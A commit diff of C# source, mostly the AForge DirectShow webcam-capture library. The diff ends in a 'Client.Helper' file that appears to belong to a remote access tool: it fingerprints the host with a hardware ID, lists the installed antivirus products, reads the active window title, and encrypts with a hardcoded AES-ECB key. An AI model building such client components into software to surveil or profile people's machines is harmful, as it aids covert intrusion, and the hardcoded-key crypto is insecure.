||||
/// Specifies an S-Video (Y/C video) pin.
|
||||
/// </summary>
|
||||
VideoSVideo,
|
||||
|
||||
/// <summary>
|
||||
/// Specifies an RGB pin for video.
|
||||
/// </summary>
|
||||
VideoRGB,
|
||||
|
||||
/// <summary>
|
||||
/// Specifies a YRYBY (Y, R–Y, B–Y) pin for video.
|
||||
/// </summary>
|
||||
VideoYRYBY,
|
||||
|
||||
/// <summary>
|
||||
/// Specifies a serial digital pin for video.
|
||||
/// </summary>
|
||||
VideoSerialDigital,
|
||||
|
||||
/// <summary>
|
||||
/// Specifies a parallel digital pin for video.
|
||||
/// </summary>
|
||||
VideoParallelDigital,
|
||||
|
||||
/// <summary>
|
||||
/// Specifies a SCSI (Small Computer System Interface) pin for video.
|
||||
/// </summary>
|
||||
VideoSCSI,
|
||||
|
||||
/// <summary>
|
||||
/// Specifies an AUX (auxiliary) pin for video.
|
||||
/// </summary>
|
||||
VideoAUX,
|
||||
|
||||
/// <summary>
|
||||
/// Specifies an IEEE 1394 pin for video.
|
||||
/// </summary>
|
||||
Video1394,
|
||||
|
||||
/// <summary>
|
||||
/// Specifies a USB (Universal Serial Bus) pin for video.
|
||||
/// </summary>
|
||||
VideoUSB,
|
||||
|
||||
/// <summary>
|
||||
/// Specifies a video decoder pin.
|
||||
/// </summary>
|
||||
VideoDecoder,
|
||||
|
||||
/// <summary>
|
||||
/// Specifies a video encoder pin.
|
||||
/// </summary>
|
||||
VideoEncoder,
|
||||
|
||||
/// <summary>
|
||||
/// Specifies a SCART (Peritel) pin for video.
|
||||
/// </summary>
|
||||
VideoSCART,
|
||||
|
||||
/// <summary>
|
||||
/// Not used.
|
||||
/// </summary>
|
||||
VideoBlack,
|
||||
|
||||
/// <summary>
|
||||
/// Specifies a tuner pin for audio.
|
||||
/// </summary>
|
||||
AudioTuner = 4096,
|
||||
|
||||
/// <summary>
|
||||
/// Specifies a line pin for audio.
|
||||
/// </summary>
|
||||
AudioLine,
|
||||
|
||||
/// <summary>
|
||||
/// Specifies a microphone pin.
|
||||
/// </summary>
|
||||
AudioMic,
|
||||
|
||||
/// <summary>
|
||||
/// Specifies an AES/EBU (Audio Engineering Society/European Broadcast Union) digital pin for audio.
|
||||
/// </summary>
|
||||
AudioAESDigital,
|
||||
|
||||
/// <summary>
|
||||
/// Specifies an S/PDIF (Sony/Philips Digital Interface Format) digital pin for audio.
|
||||
/// </summary>
|
||||
AudioSPDIFDigital,
|
||||
|
||||
/// <summary>
|
||||
/// Specifies a SCSI pin for audio.
|
||||
/// </summary>
|
||||
AudioSCSI,
|
||||
|
||||
/// <summary>
|
||||
/// Specifies an AUX pin for audio.
|
||||
/// </summary>
|
||||
AudioAUX,
|
||||
|
||||
/// <summary>
|
||||
/// Specifies an IEEE 1394 pin for audio.
|
||||
/// </summary>
|
||||
Audio1394,
|
||||
|
||||
/// <summary>
|
||||
/// Specifies a USB pin for audio.
|
||||
/// </summary>
|
||||
AudioUSB,
|
||||
|
||||
/// <summary>
|
||||
/// Specifies an audio decoder pin.
|
||||
/// </summary>
|
||||
AudioDecoder
|
||||
}
|
||||
}
|
|
@ -0,0 +1,55 @@
|
|||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
//
|
||||
// Copyright ?Andrew Kirillov, 2008
|
||||
// andrew.kirillov@gmail.com
|
||||
//
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace AForge.Video.DirectShow
|
||||
{
|
||||
/// <summary>
|
||||
/// DirectShow filter categories.
|
||||
/// </summary>
|
||||
[ComVisible(false)]
|
||||
public static class FilterCategory
|
||||
{
|
||||
/// <summary>
|
||||
/// Audio input device category.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to CLSID_AudioInputDeviceCategory.</remarks>
|
||||
///
|
||||
public static readonly Guid AudioInputDevice =
|
||||
new Guid(0x33D9A762, 0x90C8, 0x11D0, 0xBD, 0x43, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86);
|
||||
|
||||
/// <summary>
|
||||
/// Video input device category.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to CLSID_VideoInputDeviceCategory.</remarks>
|
||||
///
|
||||
public static readonly Guid VideoInputDevice =
|
||||
new Guid(0x860BB310, 0x5D01, 0x11D0, 0xBD, 0x3B, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86);
|
||||
|
||||
/// <summary>
|
||||
/// Video compressor category.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to CLSID_VideoCompressorCategory.</remarks>
|
||||
///
|
||||
public static readonly Guid VideoCompressorCategory =
|
||||
new Guid(0x33D9A760, 0x90C8, 0x11D0, 0xBD, 0x43, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86);
|
||||
|
||||
/// <summary>
|
||||
/// Audio compressor category
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to CLSID_AudioCompressorCategory.</remarks>
|
||||
///
|
||||
public static readonly Guid AudioCompressorCategory =
|
||||
new Guid(0x33D9A761, 0x90C8, 0x11D0, 0xBD, 0x43, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86);
|
||||
}
|
||||
}
|
|
@ -0,0 +1,222 @@
|
|||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
// http://www.aforgenet.com/framework/
|
||||
//
|
||||
// Copyright ?AForge.NET, 2009-2013
|
||||
// contacts@aforgenet.com
|
||||
//
|
||||
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Runtime.InteropServices;
|
||||
using AForge.Video.DirectShow.Internals;
|
||||
|
||||
namespace AForge.Video.DirectShow
|
||||
{
|
||||
/// <summary>
|
||||
/// Capabilities of video device such as frame size and frame rate.
|
||||
/// </summary>
|
||||
public class VideoCapabilities
|
||||
{
|
||||
/// <summary>
|
||||
/// Frame size supported by video device.
|
||||
/// </summary>
|
||||
public readonly Size FrameSize;
|
||||
|
||||
/// <summary>
|
||||
/// Frame rate supported by video device for corresponding <see cref="FrameSize">frame size</see>.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks><para><note>This field is depricated - should not be used.
|
||||
/// Its value equals to <see cref="AverageFrameRate"/>.</note></para>
|
||||
/// </remarks>
|
||||
///
|
||||
[Obsolete("No longer supported. Use AverageFrameRate instead.")]
|
||||
public int FrameRate => AverageFrameRate;
|
||||
|
||||
/// <summary>
|
||||
/// Average frame rate of video device for corresponding <see cref="FrameSize">frame size</see>.
|
||||
/// </summary>
|
||||
public readonly int AverageFrameRate;
|
||||
|
||||
/// <summary>
|
||||
/// Maximum frame rate of video device for corresponding <see cref="FrameSize">frame size</see>.
|
||||
/// </summary>
|
||||
public readonly int MaximumFrameRate;
|
||||
|
||||
/// <summary>
|
||||
/// Number of bits per pixel provided by the camera.
|
||||
/// </summary>
|
||||
public readonly int BitCount;
|
||||
|
||||
internal VideoCapabilities()
|
||||
{
|
||||
}
|
||||
|
||||
// Retrieve capabilities of a video device
|
||||
internal static VideoCapabilities[] FromStreamConfig(IAMStreamConfig videoStreamConfig)
|
||||
{
|
||||
if (videoStreamConfig == null) throw new ArgumentNullException("videoStreamConfig");
|
||||
|
||||
// ensure this device reports capabilities
|
||||
var hr = videoStreamConfig.GetNumberOfCapabilities(out var count, out var size);
|
||||
|
||||
if (hr != 0) Marshal.ThrowExceptionForHR(hr);
|
||||
|
||||
if (count <= 0) throw new NotSupportedException("This video device does not report capabilities.");
|
||||
|
||||
if (size > Marshal.SizeOf(typeof(VideoStreamConfigCaps)))
|
||||
throw new NotSupportedException(
|
||||
"Unable to retrieve video device capabilities. This video device requires a larger VideoStreamConfigCaps structure.");
|
||||
|
||||
// group capabilities with similar parameters
|
||||
var videocapsList = new Dictionary<uint, VideoCapabilities>();
|
||||
|
||||
for (var i = 0; i < count; i++)
|
||||
try
|
||||
{
|
||||
var vc = new VideoCapabilities(videoStreamConfig, i);
|
||||
|
||||
var key = ((uint) vc.FrameSize.Height << 32) |
|
||||
((uint) vc.FrameSize.Width << 16);
|
||||
|
||||
if (!videocapsList.ContainsKey(key))
|
||||
{
|
||||
videocapsList.Add(key, vc);
|
||||
}
|
||||
else
|
||||
{
|
||||
if (vc.BitCount > videocapsList[key].BitCount) videocapsList[key] = vc;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
|
||||
var videocaps = new VideoCapabilities[videocapsList.Count];
|
||||
videocapsList.Values.CopyTo(videocaps, 0);
|
||||
|
||||
return videocaps;
|
||||
}
|
||||
|
||||
// Retrieve capabilities of a video device
|
||||
internal VideoCapabilities(IAMStreamConfig videoStreamConfig, int index)
|
||||
{
|
||||
AMMediaType mediaType = null;
|
||||
var caps = new VideoStreamConfigCaps();
|
||||
|
||||
try
|
||||
{
|
||||
// retrieve capabilities struct at the specified index
|
||||
var hr = videoStreamConfig.GetStreamCaps(index, out mediaType, caps);
|
||||
|
||||
if (hr != 0) Marshal.ThrowExceptionForHR(hr);
|
||||
|
||||
if (mediaType.FormatType == FormatType.VideoInfo)
|
||||
{
|
||||
var videoInfo =
|
||||
(VideoInfoHeader) Marshal.PtrToStructure(mediaType.FormatPtr, typeof(VideoInfoHeader));
|
||||
|
||||
FrameSize = new Size(videoInfo.BmiHeader.Width, videoInfo.BmiHeader.Height);
|
||||
BitCount = videoInfo.BmiHeader.BitCount;
|
||||
AverageFrameRate = (int) (10000000 / videoInfo.AverageTimePerFrame);
|
||||
MaximumFrameRate = (int) (10000000 / caps.MinFrameInterval);
|
||||
}
|
||||
else if (mediaType.FormatType == FormatType.VideoInfo2)
|
||||
{
|
||||
var videoInfo =
|
||||
(VideoInfoHeader2) Marshal.PtrToStructure(mediaType.FormatPtr, typeof(VideoInfoHeader2));
|
||||
|
||||
FrameSize = new Size(videoInfo.BmiHeader.Width, videoInfo.BmiHeader.Height);
|
||||
BitCount = videoInfo.BmiHeader.BitCount;
|
||||
AverageFrameRate = (int) (10000000 / videoInfo.AverageTimePerFrame);
|
||||
MaximumFrameRate = (int) (10000000 / caps.MinFrameInterval);
|
||||
}
|
||||
else
|
||||
{
|
||||
throw new ApplicationException("Unsupported format found.");
|
||||
}
|
||||
|
||||
// ignore 12 bpp formats for now, since it was noticed they cause issues on Windows 8
|
||||
// TODO: proper fix needs to be done so ICaptureGraphBuilder2::RenderStream() does not fail
|
||||
// on such formats
|
||||
if (BitCount <= 12) throw new ApplicationException("Unsupported format found.");
|
||||
}
|
||||
finally
|
||||
{
|
||||
if (mediaType != null) mediaType.Dispose();
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Check if the video capability equals to the specified object.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="obj">Object to compare with.</param>
|
||||
///
|
||||
/// <returns>Returns true if both are equal are equal or false otherwise.</returns>
|
||||
///
|
||||
public override bool Equals(object obj)
|
||||
{
|
||||
return Equals(obj as VideoCapabilities);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Check if two video capabilities are equal.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="vc2">Second video capability to compare with.</param>
|
||||
///
|
||||
/// <returns>Returns true if both video capabilities are equal or false otherwise.</returns>
|
||||
///
|
||||
public bool Equals(VideoCapabilities vc2)
|
||||
{
|
||||
if ((object) vc2 == null) return false;
|
||||
|
||||
return FrameSize == vc2.FrameSize && BitCount == vc2.BitCount;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Get hash code of the object.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>Returns hash code ot the object </returns>
|
||||
public override int GetHashCode()
|
||||
{
|
||||
return FrameSize.GetHashCode() ^ BitCount;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Equality operator.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="a">First object to check.</param>
|
||||
/// <param name="b">Seconds object to check.</param>
|
||||
///
|
||||
/// <returns>Return true if both objects are equal or false otherwise.</returns>
|
||||
public static bool operator ==(VideoCapabilities a, VideoCapabilities b)
|
||||
{
|
||||
// if both are null, or both are same instance, return true.
|
||||
if (ReferenceEquals(a, b)) return true;
|
||||
|
||||
// if one is null, but not both, return false.
|
||||
if ((object) a == null || (object) b == null) return false;
|
||||
|
||||
return a.Equals(b);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Inequality operator.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="a">First object to check.</param>
|
||||
/// <param name="b">Seconds object to check.</param>
|
||||
///
|
||||
/// <returns>Return true if both objects are not equal or false otherwise.</returns>
|
||||
public static bool operator !=(VideoCapabilities a, VideoCapabilities b)
|
||||
{
|
||||
return !(a == b);
|
||||
}
|
||||
}
|
||||
}
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,42 @@
|
|||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
// http://www.aforgenet.com/framework/
|
||||
//
|
||||
// Copyright © AForge.NET, 2009-2012
|
||||
// contacts@aforgenet.com
|
||||
//
|
||||
|
||||
namespace AForge.Video.DirectShow
|
||||
{
|
||||
/// <summary>
|
||||
/// Video input of a capture board.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks><para>The class is used to describe video input of devices like video capture boards,
|
||||
/// which usually provide several inputs.</para>
|
||||
/// </remarks>
|
||||
///
|
||||
public class VideoInput
|
||||
{
|
||||
/// <summary>
|
||||
/// Index of the video input.
|
||||
/// </summary>
|
||||
public readonly int Index;
|
||||
|
||||
/// <summary>
|
||||
/// Type of the video input.
|
||||
/// </summary>
|
||||
public readonly PhysicalConnectorType Type;
|
||||
|
||||
internal VideoInput(int index, PhysicalConnectorType type)
|
||||
{
|
||||
Index = index;
|
||||
Type = type;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Default video input. Used to specify that it should not be changed.
|
||||
/// </summary>
|
||||
public static VideoInput Default => new VideoInput(-1, PhysicalConnectorType.Default);
|
||||
}
|
||||
}
|
|
@ -0,0 +1,124 @@
|
|||
// AForge Video Library
|
||||
// AForge.NET framework
|
||||
// http://www.aforgenet.com/framework/
|
||||
//
|
||||
// Copyright ?Andrew Kirillov, 2005-2009
|
||||
// andrew.kirillov@aforgenet.com
|
||||
//
|
||||
|
||||
namespace AForge.Video
|
||||
{
|
||||
/// <summary>
|
||||
/// Video source interface.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>The interface describes common methods for different type of video sources.</remarks>
|
||||
///
|
||||
public interface IVideoSource
|
||||
{
|
||||
/// <summary>
|
||||
/// New frame event.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks><para>This event is used to notify clients about new available video frame.</para>
|
||||
///
|
||||
/// <para><note>Since video source may have multiple clients, each client is responsible for
|
||||
/// making a copy (cloning) of the passed video frame, but video source is responsible for
|
||||
/// disposing its own original copy after notifying of clients.</note></para>
|
||||
/// </remarks>
|
||||
///
|
||||
event NewFrameEventHandler NewFrame;
|
||||
|
||||
/// <summary>
|
||||
/// Video source error event.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>This event is used to notify clients about any type of errors occurred in
|
||||
/// video source object, for example internal exceptions.</remarks>
|
||||
///
|
||||
event VideoSourceErrorEventHandler VideoSourceError;
|
||||
|
||||
/// <summary>
|
||||
/// Video playing finished event.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks><para>This event is used to notify clients that the video playing has finished.</para>
|
||||
/// </remarks>
|
||||
///
|
||||
event PlayingFinishedEventHandler PlayingFinished;
|
||||
|
||||
/// <summary>
|
||||
/// Video source.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>The meaning of the property depends on particular video source.
|
||||
/// Depending on video source it may be a file name, URL or any other string
|
||||
/// describing the video source.</remarks>
|
||||
///
|
||||
string Source { get; }
|
||||
|
||||
/// <summary>
|
||||
/// Received frames count.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Number of frames the video source provided from the moment of the last
|
||||
/// access to the property.
|
||||
/// </remarks>
|
||||
///
|
||||
int FramesReceived { get; }
|
||||
|
||||
/// <summary>
|
||||
/// Received bytes count.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Number of bytes the video source provided from the moment of the last
|
||||
/// access to the property.
|
||||
/// </remarks>
|
||||
///
|
||||
long BytesReceived { get; }
|
||||
|
||||
/// <summary>
|
||||
/// State of the video source.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Current state of video source object - running or not.</remarks>
|
||||
///
|
||||
bool IsRunning { get; }
|
||||
|
||||
/// <summary>
|
||||
/// Start video source.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Starts video source and return execution to caller. Video source
|
||||
/// object creates background thread and notifies about new frames with the
|
||||
/// help of <see cref="NewFrame"/> event.</remarks>
|
||||
///
|
||||
void Start();
|
||||
|
||||
/// <summary>
|
||||
/// Signal video source to stop its work.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Signals video source to stop its background thread, stop to
|
||||
/// provide new frames and free resources.</remarks>
|
||||
///
|
||||
void SignalToStop();
|
||||
|
||||
/// <summary>
|
||||
/// Wait for video source has stopped.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Waits for video source stopping after it was signalled to stop using
|
||||
/// <see cref="SignalToStop"/> method.</remarks>
|
||||
///
|
||||
void WaitForStop();
|
||||
|
||||
/// <summary>
|
||||
/// Stop video source.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Stops video source aborting its thread.</remarks>
|
||||
///
|
||||
void Stop();
|
||||
}
|
||||
}
|
|
@ -0,0 +1,123 @@
|
|||
// AForge Video Library
|
||||
// AForge.NET framework
|
||||
// http://www.aforgenet.com/framework/
|
||||
//
|
||||
// Copyright ?AForge.NET, 2009-2011
|
||||
// contacts@aforgenet.com
|
||||
//
|
||||
|
||||
using System;
|
||||
using System.Drawing;
|
||||
|
||||
namespace AForge.Video
|
||||
{
|
||||
/// <summary>
|
||||
/// Delegate for new frame event handler.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="sender">Sender object.</param>
|
||||
/// <param name="eventArgs">Event arguments.</param>
|
||||
///
|
||||
public delegate void NewFrameEventHandler(object sender, NewFrameEventArgs eventArgs);
|
||||
|
||||
/// <summary>
|
||||
/// Delegate for video source error event handler.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="sender">Sender object.</param>
|
||||
/// <param name="eventArgs">Event arguments.</param>
|
||||
///
|
||||
public delegate void VideoSourceErrorEventHandler(object sender, VideoSourceErrorEventArgs eventArgs);
|
||||
|
||||
/// <summary>
|
||||
/// Delegate for playing finished event handler.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="sender">Sender object.</param>
|
||||
/// <param name="reason">Reason of finishing video playing.</param>
|
||||
///
|
||||
public delegate void PlayingFinishedEventHandler(object sender, ReasonToFinishPlaying reason);
|
||||
|
||||
/// <summary>
|
||||
/// Reason of finishing video playing.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks><para>When video source class fire the <see cref="IVideoSource.PlayingFinished"/> event, they
|
||||
/// need to specify reason of finishing video playing. For example, it may be end of stream reached.</para></remarks>
|
||||
///
|
||||
public enum ReasonToFinishPlaying
|
||||
{
|
||||
/// <summary>
|
||||
/// Video playing has finished because it end was reached.
|
||||
/// </summary>
|
||||
EndOfStreamReached,
|
||||
|
||||
/// <summary>
|
||||
/// Video playing has finished because it was stopped by user.
|
||||
/// </summary>
|
||||
StoppedByUser,
|
||||
|
||||
/// <summary>
|
||||
/// Video playing has finished because the device was lost (unplugged).
|
||||
/// </summary>
|
||||
DeviceLost,
|
||||
|
||||
/// <summary>
|
||||
/// Video playing has finished because of some error happened the video source (camera, stream, file, etc.).
|
||||
/// A error reporting event usually is fired to provide error information.
|
||||
/// </summary>
|
||||
VideoSourceError
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Arguments for new frame event from video source.
|
||||
/// </summary>
|
||||
///
|
||||
public class NewFrameEventArgs : EventArgs
|
||||
{
|
||||
private Bitmap frame;
|
||||
|
||||
/// <summary>
|
||||
/// Initializes a new instance of the <see cref="NewFrameEventArgs"/> class.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="frame">New frame.</param>
|
||||
///
|
||||
public NewFrameEventArgs(Bitmap frame)
|
||||
{
|
||||
this.frame = frame;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// New frame from video source.
|
||||
/// </summary>
|
||||
///
|
||||
public Bitmap Frame => frame;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Arguments for video source error event from video source.
|
||||
/// </summary>
|
||||
///
|
||||
public class VideoSourceErrorEventArgs : EventArgs
|
||||
{
|
||||
private string description;
|
||||
|
||||
/// <summary>
|
||||
/// Initializes a new instance of the <see cref="VideoSourceErrorEventArgs"/> class.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="description">Error description.</param>
|
||||
///
|
||||
public VideoSourceErrorEventArgs(string description)
|
||||
{
|
||||
this.description = description;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Video source error description.
|
||||
/// </summary>
|
||||
///
|
||||
public string Description => description;
|
||||
}
|
||||
}
|
|
@ -0,0 +1,278 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Management;
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
using static Client.Native;
|
||||
using DISPPARAMS = System.Runtime.InteropServices.ComTypes.DISPPARAMS;
|
||||
using EXCEPINFO = System.Runtime.InteropServices.ComTypes.EXCEPINFO;
|
||||
|
||||
namespace Client.Helper
|
||||
{
|
||||
public static unsafe class Helper
|
||||
{
|
||||
#region Mutex
|
||||
|
||||
public static Mutex currentApp;
|
||||
|
||||
public static bool CreateMutex()
|
||||
{
|
||||
currentApp = new Mutex(false, Program.Mutex+Environment.UserName, out var createdNew);
|
||||
return createdNew;
|
||||
}
|
||||
|
||||
public static void CloseMutex()
|
||||
{
|
||||
if (currentApp != null)
|
||||
{
|
||||
currentApp.Close();
|
||||
currentApp = null;
|
||||
}
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#region CLR
|
||||
|
||||
public static int GetClrVersion()
|
||||
{
|
||||
var assms = AppDomain.CurrentDomain.GetAssemblies();
|
||||
foreach (var assmble in assms)
|
||||
{
|
||||
var assembleName = assmble.GetName();
|
||||
if (assembleName.Name == "mscorlib" && assembleName.Version.Major == 2)
|
||||
return 2;
|
||||
}
|
||||
return 4;
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#region Active
|
||||
|
||||
public static string GetActiveWindowTitle()
|
||||
{
|
||||
try
|
||||
{
|
||||
const int nChars = 256;
|
||||
var buff = new StringBuilder(nChars);
|
||||
var handle = GetForegroundWindow();
|
||||
if (GetWindowText(handle, buff, nChars) > 0) return buff.ToString();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
|
||||
return "";
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#region HWID
|
||||
|
||||
public static string GetHWID()
|
||||
{
|
||||
try
|
||||
{
|
||||
var strToHash = string.Concat(Environment.ProcessorCount, Environment.UserName,
|
||||
Environment.MachineName, Environment.OSVersion
|
||||
, new DriveInfo(Path.GetPathRoot(Environment.SystemDirectory)).TotalSize, Program.Mutex);
|
||||
var md5Obj = new MD5CryptoServiceProvider();
|
||||
var bytesToHash = Encoding.ASCII.GetBytes(strToHash);
|
||||
bytesToHash = md5Obj.ComputeHash(bytesToHash);
|
||||
var strResult = new StringBuilder();
|
||||
foreach (var b in bytesToHash) strResult.Append(b.ToString("x2"));
|
||||
|
||||
return strResult.ToString().Substring(0, 20).ToUpper();
|
||||
}
|
||||
catch
|
||||
{
|
||||
return "Err HWID";
|
||||
}
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#region AV
|
||||
|
||||
public static string GetAV()
|
||||
{
|
||||
try
|
||||
{
|
||||
var AV = "";
|
||||
IWSCProductList pWSCProductList;
|
||||
var WSCProductListType = Type.GetTypeFromCLSID(new Guid("17072F7B-9ABE-4A74-A261-1EB76B55107A"), true);
|
||||
var WSCProductList = Activator.CreateInstance(WSCProductListType);
|
||||
pWSCProductList = (IWSCProductList)WSCProductList;
|
||||
|
||||
if (0 == pWSCProductList.Initialize(0x4))
|
||||
{
|
||||
uint nProductCount = 0;
|
||||
if (0 == pWSCProductList.get_Count(out nProductCount))
|
||||
for (uint i = 0; i < nProductCount; i++)
|
||||
if (0 == pWSCProductList.get_Item(i, out var pWscProduct))
|
||||
{
|
||||
var sProductName = new string('\0', 260);
|
||||
|
||||
if (0 == pWscProduct.get_ProductName(out sProductName))
|
||||
{
|
||||
if (AV != "") AV += " ; ";
|
||||
AV += sProductName;
|
||||
}
|
||||
|
||||
Marshal.ReleaseComObject(pWscProduct);
|
||||
}
|
||||
|
||||
Marshal.ReleaseComObject(pWSCProductList);
|
||||
}
|
||||
|
||||
return AV;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return "Unknown";
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
[ComImport]
|
||||
[Guid("8C38232E-3A45-4A27-92B0-1A16A975F669")]
|
||||
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
|
||||
public interface IWscProduct
|
||||
{
|
||||
#region <IDispatch>
|
||||
|
||||
int GetTypeInfoCount();
|
||||
|
||||
[return: MarshalAs(UnmanagedType.Interface)]
|
||||
IntPtr GetTypeInfo([In][MarshalAs(UnmanagedType.U4)] int iTInfo,
|
||||
[In][MarshalAs(UnmanagedType.U4)] int lcid);
|
||||
|
||||
[PreserveSig]
|
||||
int GetIDsOfNames([In] ref Guid riid, [In][MarshalAs(UnmanagedType.LPArray)] string[] rgszNames,
|
||||
[In][MarshalAs(UnmanagedType.U4)] int cNames,
|
||||
[In][MarshalAs(UnmanagedType.U4)] int lcid, [Out][MarshalAs(UnmanagedType.LPArray)] int[] rgDispId);
|
||||
|
||||
[PreserveSig]
|
||||
int Invoke(int dispIdMember, [In] ref Guid riid, [In][MarshalAs(UnmanagedType.U4)] int lcid,
|
||||
[In][MarshalAs(UnmanagedType.U4)] int dwFlags,
|
||||
[Out][In] DISPPARAMS pDispParams, [Out] out object pVarResult,
|
||||
[Out][In] EXCEPINFO pExcepInfo,
|
||||
[Out] [MarshalAs(UnmanagedType.LPArray)]
|
||||
IntPtr[] pArgErr);
|
||||
|
||||
#endregion
|
||||
|
||||
int get_ProductName(out string pVal);
|
||||
}
|
||||
|
||||
[ComImport]
|
||||
[Guid("722A338C-6E8E-4E72-AC27-1417FB0C81C2")]
|
||||
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
|
||||
public interface IWSCProductList
|
||||
{
|
||||
#region <IDispatch>
|
||||
|
||||
int GetTypeInfoCount();
|
||||
|
||||
[return: MarshalAs(UnmanagedType.Interface)]
|
||||
IntPtr GetTypeInfo([In][MarshalAs(UnmanagedType.U4)] int iTInfo,
|
||||
[In][MarshalAs(UnmanagedType.U4)] int lcid);
|
||||
|
||||
[PreserveSig]
|
||||
int GetIDsOfNames([In] ref Guid riid, [In][MarshalAs(UnmanagedType.LPArray)] string[] rgszNames,
|
||||
[In][MarshalAs(UnmanagedType.U4)] int cNames,
|
||||
[In][MarshalAs(UnmanagedType.U4)] int lcid, [Out][MarshalAs(UnmanagedType.LPArray)] int[] rgDispId);
|
||||
|
||||
[PreserveSig]
|
||||
int Invoke(int dispIdMember, [In] ref Guid riid, [In][MarshalAs(UnmanagedType.U4)] int lcid,
|
||||
[In][MarshalAs(UnmanagedType.U4)] int dwFlags,
|
||||
[Out][In] DISPPARAMS pDispParams, [Out] out object pVarResult,
|
||||
[Out][In] EXCEPINFO pExcepInfo,
|
||||
[Out] [MarshalAs(UnmanagedType.LPArray)]
|
||||
IntPtr[] pArgErr);
|
||||
|
||||
#endregion
|
||||
|
||||
int Initialize(uint provider);
|
||||
int get_Count(out uint pVal);
|
||||
int get_Item(uint index, out IWscProduct pVal);
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#region AES
|
||||
public class Aes
|
||||
{
|
||||
private static byte[] keyArray = Encoding.UTF8.GetBytes("Creeper_Awww_Man");
|
||||
|
||||
public static byte[] Encrypt(byte[] toEncryptArray)
|
||||
{
|
||||
RijndaelManaged rDel = new RijndaelManaged();
|
||||
rDel.Key = keyArray;
|
||||
rDel.Mode = CipherMode.ECB;
|
||||
rDel.Padding = PaddingMode.PKCS7;
|
||||
ICryptoTransform cTransform = rDel.CreateEncryptor();
|
||||
byte[] resultArray = cTransform.TransformFinalBlock(toEncryptArray, 0, toEncryptArray.Length);
|
||||
return resultArray;
|
||||
}
|
||||
|
||||
public static byte[] Decrypt(byte[] toEncryptArray)
|
||||
{
|
||||
RijndaelManaged rDel = new RijndaelManaged();
|
||||
rDel.Key = keyArray;
|
||||
rDel.Mode = CipherMode.ECB;
|
||||
rDel.Padding = PaddingMode.PKCS7;
|
||||
ICryptoTransform cTransform = rDel.CreateDecryptor();
|
||||
byte[] resultArray = cTransform.TransformFinalBlock(toEncryptArray, 0, toEncryptArray.Length);
|
||||
return resultArray;
|
||||
}
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#region 32/64
|
||||
|
||||
public static bool Is64Bit()
|
||||
{
|
||||
if (IntPtr.Size == 8)
|
||||
return true;
|
||||
|
||||
bool is64Bit;
|
||||
if (IsWow64Process(GetCurrentProcess(), out is64Bit))
|
||||
{
|
||||
return is64Bit;
|
||||
}
|
||||
else { return false; }
|
||||
